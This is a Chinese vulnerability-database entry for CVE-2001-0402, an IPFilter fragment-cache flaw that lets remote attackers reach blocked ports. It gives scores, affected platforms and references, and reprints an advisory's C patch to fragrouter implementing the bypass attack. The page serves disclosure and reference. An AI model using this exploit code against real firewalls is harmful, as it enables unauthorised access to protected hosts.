CVE-2001-0402
CVSS7.5
发布时间 :2001-06-18 00:00:00
修订时间 :2016-10-17 22:10:57
NMCOE    

[原文]IPFilter 3.4.16 and earlier does not include sufficient session information in its cache, which allows remote attackers to bypass access restrictions by sending fragmented packets to a restricted port after sending unfragmented packets to an unrestricted port.


[CNNVD]IPFilter访问限制绕过漏洞(CNNVD-200106-083)

        IPFilter 3.4.16版本及之前版本在其缓存中不包括充分的会话信息,远程攻击者可以通过在发送未成碎片数据包到不受限端口之后发送碎片数据包到受限端口来绕过访问限制。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:darren_reed:ipfilter:3.4.16
cpe:/o:openbsd:openbsd:2.8OpenBSD 2.8
cpe:/o:freebsd:freebsd:4.1FreeBSD 4.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0402
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0402
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-083
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/freebsd/2001-04/0338.html
(VENDOR_ADVISORY)  FREEBSD  FreeBSD-SA-01:32
http://marc.info/?l=bugtraq&m=98679734015538&w=2
(UNKNOWN)  BUGTRAQ  20010408 A fragmentation attack against IP Filter
http://xforce.iss.net/static/6331.php
(UNKNOWN)  XF  ipfilter-access-ports(6331)

- 漏洞信息

IPFilter访问限制绕过漏洞
高危 未知
2001-06-18 00:00:00 2007-05-11 00:00:00
远程  
        IPFilter 3.4.16版本及之前版本在其缓存中不包括充分的会话信息,远程攻击者可以通过在发送未成碎片数据包到不受限端口之后发送碎片数据包到受限端口来绕过访问限制。

- 公告与补丁

        

- 漏洞信息 (20730)

IPFilter 3.x Fragment Rule Bypass Vulnerability (EDBID:20730)
unix remote
2001-04-09 Verified
0 Thomas Lopatic
N/A [点击下载]
source: http://www.securityfocus.com/bid/2545/info

IPFilter is a packet filtering implementation that is in wide use on a variety of Unix systems.

There exists a vulnerability in IPFilter that can allow an attacker to communicate with blocked ports on hosts behind an IPFilter firewall.

The vulnerability is the result of IPFilter caching the decision to forward or drop a fragment, and applying this decision to other IP fragments with the same IP id. Even when a fragment is an 'initial' fragment (fragment with a fragment offset of 0) which may contain a TCP or UDP header, it will be evaluated based on the decision cache.

As a result, an attacker can establish a 'permit' decision cache in an IPFilter firewall and then successfully pass fragments with arbitrary UDP or TCP headers through the firewall bypassing the ruleset. 

# Originally from Thomas Lopatic's advisory,
# posted to Bugtraq on April 9, 2001.
# http://www.securityfocus.com/archive/1/174913

Demonstration source code
-------------------------

These are the - intentionally slightly broken - diffs to be applied to
fragrouter 1.6 to implement the described attack. Supply the "-M3"
option to fragrouter and route all your packets to the fragrouter host
to comfortably walk through an IP Filter installation that exposes the
described vulnerability.

---- cut here ----
diff -c -r fragrouter-1.6.orig/attack.c fragrouter-1.6/attack.c
*** fragrouter-1.6.orig/attack.c	Tue Sep 21 17:16:59 1999
--- fragrouter-1.6/attack.c	Sat Apr  7 16:59:05 2001
***************
*** 126,132 ****
    NULL, /* ATTACK_MISC */
    "misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
    "misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
!   NULL,
    NULL,
    NULL,
    NULL,
--- 126,132 ----
    NULL, /* ATTACK_MISC */
    "misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
    "misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
!   "misc-3: IP Filter - consult the bugtraq archives for April 2001 :-)",
    NULL,
    NULL,
    NULL,
***************
*** 209,214 ****
--- 209,217 ----
    }
    if (attack_num == 2) {
      frag = misc_linuxipchains(pkt, len);
+   }
+   if (attack_num == 3) {
+     frag = misc_ipfilter(pkt, len);
    }
    if (frag) {
      send_list(frag->head);
diff -c -r fragrouter-1.6.orig/misc.c fragrouter-1.6/misc.c
*** fragrouter-1.6.orig/misc.c	Tue Sep 21 17:14:07 1999
--- fragrouter-1.6/misc.c	Sat Apr  7 17:15:56 2001
***************
*** 206,208 ****
--- 206,422 ----
    
    return (list->head);
  }
+ 
+ /*
+  *    This demonstrates a fragmentation vulnerability in IP Filter.
+  *
+  *    The code needs a small corretion to work properly.
+  *
+  *    Thomas Lopatic, 2001-04-06
+  */
+ 
+ /*
+  *    These are the ports that we have access to.
+  */
+ 
+ #define IPFILTER_OPEN_TCP_PORT 22
+ #define IPFILTER_OPEN_UDP_PORT 53
+ 
+ ELEM *
+ misc_ipfilter(u_char *pkt, int pktlen)
+ {
+   ELEM *new, *list = NULL;
+   struct ip *iph;
+   unsigned char *frag[3], *mod, *payload;
+   int i, hlen, off, len[3], copy, rest;
+   static short id = 1;
+ 
+   iph = (struct ip *)pkt;
+ 
+   if (iph->ip_p != IPPROTO_UDP && iph->ip_p != IPPROTO_TCP)
+     return NULL;
+ 
+   iph->ip_id = htons(id);
+ 
+   if (++id == 0)
+     ++id;
+ 
+   hlen = iph->ip_hl << 2;
+ 
+   payload = pkt + hlen;
+   rest = pktlen - hlen;
+ 
+   for (i = 0; i < 3; i++) {
+ 
+     /*
+      *    Select the offset and the length for each fragment
+      *    of the decoy packet.
+      */
+ 
+     switch (i) {
+     case 0:
+       off = IP_MF;
+       if (iph->ip_p == IPPROTO_UDP)
+ 	len[i] = 8;
+       else
+ 	len[i] = 24;
+       break;
+ 
+     case 1:
+       if (iph->ip_p == IPPROTO_UDP)
+ 	off = 1 | IP_MF;
+       else
+ 	off = 3 | IP_MF;
+       len[i] = 8;
+       break;
+ 
+     default:
+       if (iph->ip_p == IPPROTO_UDP)
+ 	off = 2;
+       else
+ 	off = 4;
+       if (rest > 0)
+ 	len[i] = rest;
+       else
+ 	len[i] = 1;
+       break;
+     }
+ 
+     /*
+      *    Create the fragment.
+      */
+ 
+     if ((frag[i] = malloc(hlen + len[i])) == NULL) {
+       while (--i > 0)
+ 	free(frag[i]);
+       return NULL;
+     }
+ 
+     memcpy(frag[i], pkt, hlen);
+ 
+     /*
+      *    Copy a piece of payload and pad with null
+      *    bytes if necessary.
+      */
+ 
+     copy = len[i];
+ 
+     if (rest < copy)
+        copy = rest;
+ 
+     if (copy > 0) {
+       memcpy(frag[i] + hlen, payload, copy);
+       payload += copy;
+       rest -= copy;
+     }
+ 
+     if (copy < len[i])
+       memset(frag[i] + hlen + copy, 0, len[i] - copy);
+     
+     /*
+      *    No need to adjust the checksum.
+      *    It is not verified by IP Filter.
+      */
+ 
+     if (i == 0)
+       *(unsigned short *)(frag[i] + hlen + 2) =
+ 	(iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) :
+ 	  htons(IPFILTER_OPEN_TCP_PORT);
+ 
+     /*
+      *    Fix the IP header.
+      */
+ 
+     iph = (struct ip *)frag[i];
+ 
+     iph->ip_len = htons((short)(hlen + len[i]));
+     iph->ip_off = htons((short)off);
+   }
+ 
+   if (i == 3)
+     return NULL;
+ 
+   /*
+    *    First have IP Filter create a state-table entry using
+    *    the original packet with a modified destination port.
+    */
+ 
+   if ((mod = malloc(pktlen)) == NULL) {
+     free(frag[0]);
+     free(frag[1]);
+     free(frag[2]);
+     return NULL;
+   }
+ 
+   memcpy(mod, pkt, pktlen);
+ 
+   *(unsigned short *)(mod + hlen + 2) =
+     (iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) :
+       htons(IPFILTER_OPEN_TCP_PORT);
+ 
+   new = list_elem(mod, pktlen);
+   free(mod);
+ 
+   if (new == NULL) {
+     free(frag[0]);
+     free(frag[1]);
+     free(frag[2]);
+     return NULL;
+   }
+ 
+   list = list_add(list, new);
+ 
+   /*
+    *    Then fragment #1 goes first...
+    */
+ 
+   new = list_elem(frag[0], len[0] + hlen);
+   free(frag[0]);
+ 
+   if (new == NULL) {
+     free(frag[1]);
+     free(frag[2]);
+     return NULL;
+   }
+ 
+   list = list_add(list, new);
+ 
+   /*
+    *    ... then fragment #3 (out of order)...
+    */
+ 
+   new = list_elem(frag[2], len[2] + hlen);
+   free(frag[2]);
+ 
+   if (new == NULL) {
+     free(frag[1]);
+     return NULL;
+   }
+ 
+   list = list_add(list, new);
+ 
+   /*
+    *    ... then fragment #2...
+    */
+ 
+   new = list_elem(frag[1], len[1] + hlen);
+   free(frag[1]);
+ 
+   if (new == NULL)
+     return NULL;
+ 
+   list = list_add(list, new);
+ 
+   /*
+    *    ... and finally the original packet.
+    */
+ 
+   new = list_elem(pkt, pktlen);
+ 
+   if (new == NULL)
+     return NULL;
+ 
+   list = list_add(list, new);
+ 
+   return list->head;
+ }
diff -c -r fragrouter-1.6.orig/misc.h fragrouter-1.6/misc.h
*** fragrouter-1.6.orig/misc.h	Mon Jul 26 17:08:51 1999
--- fragrouter-1.6/misc.h	Sat Apr  7 16:59:05 2001
***************
*** 45,48 ****
--- 45,50 ----
  
  ELEM *misc_linuxipchains(u_char *pkt, int pktlen);
  
+ ELEM *misc_ipfilter(u_char *pkt, int pktlen);
+ 
  #endif /* MISC_H */
		

- 漏洞信息

4692
IPFilter Cached IP Decision Arbitrary UDP/TCP Port Access
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-04-06 Unknow
2001-04-06 Unknow

- 解决方案

Products

OpenBSD

OpenBSD

2.8

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站